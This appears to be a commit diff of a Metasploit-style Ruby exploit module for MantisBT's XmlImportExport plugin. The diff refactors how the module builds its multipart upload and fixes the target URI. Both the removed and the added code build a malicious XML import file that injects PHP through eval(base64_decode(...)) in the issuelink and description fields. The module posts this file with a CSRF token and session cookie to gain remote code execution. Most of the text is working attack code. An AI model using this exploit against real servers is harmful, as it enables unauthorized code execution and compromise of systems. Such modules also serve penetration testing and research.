@@ -67,12 +67,18 @@ def exec_php(php_code, is_check = false)
67
67
rand_text = Rex ::Text . rand_text_alpha_upper ( 5 , 8 )
68
68
rand_num = Rex ::Text . rand_text_numeric ( 1 , 9 )
69
69
70
+ if is_check
71
+ timeout = 20
72
+ else
73
+ timeout = 3
74
+ end
75
+
70
76
print_status ( "Checking access to MantisBT..." )
71
77
res = send_request_cgi ( {
72
78
'method' => 'GET' ,
73
79
'uri' => normalize_uri ( target_uri . path , 'login_page.php' ) ,
74
80
'vars_get' => {
75
- 'return' => normalize_uri ( target_uri . path , 'plugin.php?=XmlImportExport/import' ) ,
81
+ 'return' => normalize_uri ( target_uri . path , 'plugin.php?page =XmlImportExport/import' ) ,
76
82
}
77
83
} )
78
84
@@ -163,64 +169,41 @@ def exec_php(php_code, is_check = false)
163
169
return false
164
170
end
165
171
166
- if is_check
167
- timeout = 20
168
- else
169
- timeout = 3
170
- end
171
-
172
- uid = rand_text_numeric ( 29 ) . to_s
173
-
174
- data = "-----------------------------#{ uid } \r \n "
175
- data << "Content-Disposition: form-data; name=\" plugin_xml_import_action_token\" \r \n \r \n "
176
- data << "#{ csrf_token } \r \n "
177
- data << "-----------------------------#{ uid } \r \n "
178
- data << "Content-Disposition: form-data; name=\" project_id\" \r \n \r \n "
179
- data << "#{ project_id } \r \n "
180
- data << "-----------------------------#{ uid } \r \n "
181
- data << "Content-Disposition: form-data; name=\" max_file_size\" \r \n \r \n "
182
- data << "#{ max_file_size } \r \n "
183
- data << "-----------------------------#{ uid } \r \n "
184
- data << "Content-Disposition: form-data; name=\" step\" \r \n \r \n "
185
- data << "#{ step } \r \n "
186
- data << "-----------------------------#{ uid } \r \n "
187
- data << "Content-Disposition: form-data; name=\" file\" ; filename=\" #{ rand_text } .xml\r \n "
188
- data << "Content-Type: text/xml\r \n \r \n "
189
- data << "<?xml version=\" 1.0\" encoding=\" UTF-8\" ?>\r \n "
190
- data << "<mantis version=\" 1.2.17\" urlbase=\" http://localhost/\" issuelink=\" ${eval(base64_decode(#{ payload_b64 } ))}}\" notelink=\" ~\" format=\" 1\" >\r \n "
191
- data << " <issue>\r \n "
192
- data << " <id>#{ rand_num } </id>\r \n "
193
- data << " <project id=\" #{ project_id } \" >#{ rand_text } </project>\r \n "
194
- data << " <reporter id=\" #{ rand_num } \" >#{ rand_text } </reporter>\r \n "
195
- data << " <priority id=\" 30\" >normal</priority>\r \n "
196
- data << " <severity id=\" 50\" >minor</severity>\r \n "
197
- data << " <reproducibility id=\" 70\" >have not tried</reproducibility>\r \n "
198
- data << " <status id=\" #{ rand_num } \" >new</status>\r \n "
199
- data << " <resolution id=\" #{ rand_num } \" >open</resolution>\r \n "
200
- data << " <projection id=\" #{ rand_num } \" >none</projection>\r \n "
201
- data << " <category id=\" #{ category_id } \" >#{ category_name } </category>\r \n "
202
- data << " <date_submitted>1415492267</date_submitted>\r \n "
203
- data << " <last_updated>1415507582</last_updated>\r \n "
204
- data << " <eta id=\" #{ rand_num } \" >none</eta>\r \n "
205
- data << " <view_state id=\" #{ rand_num } \" >public</view_state>\r \n "
206
- data << " <summary>#{ rand_text } </summary>\r \n "
207
- data << " <due_date>1</due_date>\r \n "
208
- data << " <description>{${eval(base64_decode(#{ payload_b64 } ))}}1</description>\r \n "
209
- data << " </issue>\r \n "
210
- data << "</mantis>\r \n \r \n "
211
- data << "-----------------------------#{ uid } \r \n "
212
- data << "Content-Disposition: form-data; name=\" strategy\" \r \n \r \n "
213
- data << "renumber\r \n "
214
- data << "-----------------------------#{ uid } \r \n "
215
- data << "Content-Disposition: form-data; name=\" fallback\" \r \n \r \n "
216
- data << "link\r \n "
217
- data << "-----------------------------#{ uid } \r \n "
218
- data << "Content-Disposition: form-data; name=\" keepcategory\" \r \n \r \n "
219
- data << "on\r \n "
220
- data << "-----------------------------#{ uid } \r \n "
221
- data << "Content-Disposition: form-data; name=\" defaultcategory\" \r \n \r \n "
222
- data << "#{ category_id } \r \n "
223
- data << "-----------------------------#{ uid } --\r \n \r \n "
172
+ xml_file = %Q|
173
+ <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 } ))}}" notelink="~" format="1">
174
+ <issue>
175
+ <id>#{ rand_num } </id>
176
+ <project id="#{ project_id } ">#{ rand_text } </project>
177
+ <reporter id="#{ rand_num } ">#{ rand_text } </reporter>
178
+ <priority id="30">normal</priority>
179
+ <severity id="50">minor</severity>
180
+ <reproducibility id="70">have not tried</reproducibility>
181
+ <status id="#{ rand_num } ">new</status>
182
+ <resolution id="#{ rand_num } ">open</resolution>
183
+ <projection id="#{ rand_num } ">none</projection>
184
+ <category id="#{ category_id } ">#{ category_name } </category>
185
+ <date_submitted>1415492267</date_submitted>
186
+ <last_updated>1415507582</last_updated>
187
+ <eta id="#{ rand_num } ">none</eta>
188
+ <view_state id="#{ rand_num } ">public</view_state>
189
+ <summary>#{ rand_text } </summary>
190
+ <due_date>1</due_date>
191
+ <description>{${eval(base64_decode(#{ payload_b64 } ))}}1</description>
192
+ </issue>
193
+ </mantis>
194
+ |
195
+
196
+ data = Rex ::MIME ::Message . new
197
+ data . add_part ( "#{ csrf_token } " , nil , nil , "form-data; name=\" plugin_xml_import_action_token\" " )
198
+ data . add_part ( "#{ project_id } " , nil , nil , "form-data; name=\" project_id\" " )
199
+ data . add_part ( "#{ max_file_size } " , nil , nil , "form-data; name=\" max_file_size\" " )
200
+ data . add_part ( "#{ step } " , nil , nil , "form-data; name=\" step\" " )
201
+ data . add_part ( xml_file , "text/xml" , "UTF-8" , "form-data; name=\" file\" ; filename=\" #{ rand_text } .xml\" " )
202
+ data . add_part ( "renumber" , nil , nil , "form-data; name=\" strategy\" " )
203
+ data . add_part ( "link" , nil , nil , "form-data; name=\" fallback\" " )
204
+ data . add_part ( "on" , nil , nil , "form-data; name=\" keepcategory\" " )
205
+ data . add_part ( "#{ category_id } " , nil , nil , "form-data; name=\" defaultcategory\" " )
206
+ data_post = data . to_s
224
207
225
208
print_status ( "Sending payload..." )
226
209
res = send_request_cgi ( {
@@ -229,8 +212,8 @@ def exec_php(php_code, is_check = false)
229
212
'headers' => {
230
213
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie } " ,
231
214
} ,
232
- 'ctype' => "multipart/form-data; boundary=--------------------------- #{ uid } " ,
233
- 'data' => data ,
215
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
216
+ 'data' => data_post ,
234
217
} , timeout )
235
218
236
219
res_payload = res
0 commit comments